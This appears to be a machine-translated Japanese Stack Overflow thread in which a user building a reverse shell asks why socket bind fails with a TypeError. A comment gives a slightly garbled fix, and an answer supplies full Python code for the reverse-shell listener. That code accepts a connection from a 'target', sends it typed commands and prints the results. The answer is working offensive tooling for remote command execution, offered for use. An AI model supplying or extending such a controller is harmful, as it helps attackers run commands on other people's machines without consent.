リバース シェルを作成しています。そして、server.pyファイルでこのエラーが発生しました。
私はsocket_bind() s.bind((host, port)) を試してみました。
私のコード:
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket binding error: " + str(msg) + "\n" + "retrying...")
socket_bind()
私の間違い:
Binding socket to port: 90
Traceback (most recent call last):
File "c:/ReverseShell/server.py", line 50, in <module>
main()
File "c:/ReverseShell/server.py", line 47, in main
socket_bind()
File "c:/ReverseShell/server.py", line 21, in socket_bind
s.bind((host, port))
TypeError: an integer is required (got type str)
このエラーを修正するにはどうすればよいですか?
1
文字列を port = int('port') に変換
– ヴィンセント・パラマナンサム
2020 年 9 月 3 日 12:32
------------------------
どこにいるか知っていますこのコードを取得します。修正方法はわかりませんが、サーバーには以下のコードを使用できます。
# first import all require module
import socket # For building tcp connection
import os # Using this module for basic operation
os.system ("clear || cls") # it clear the terminal screen
def connect ():
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) # START a socket subject s
s.bind (("192.168.0.200", 9999)) # Define IP and Port
s.listen (1) # listen METHOD for pass the parameter as 1
print ('[+] Listening for incoming TCP connection on port 8080')
conn, addr = s.accept () #I want my server to accept CLIENT AND IP ADRESS BY ACCEPT METHOD
print ('[+] We got a connection from: ', addr)# After accpeted, print out the result
ter = 'terminate'
while True: #while connection is true
command = input ("\nShell>") # Get user input and store it in command variable
if ter in command: # If we type terminate command, so close te connection and break the loop
conn.send (ter.encode('utf-8')) #to send data to client with conn.send()
conn.close ()
break
else:
conn.send(str.encode (command)) #here we will send the command to the target send commands from server to client using python socket
client = str(conn.recv(1024).decode("utf-8"))
print (client) # print the result that we got back
def main():
connect()
main ()
共有
この回答を改善します
フォローする
2021 年 2 月 1 日 14:26 に編集
ユーザー12867493
2021 年 2 月 1 日 13:23 に回答
ユーザー15123069
ユーザー15123069
1
1
銅バッジ 1 個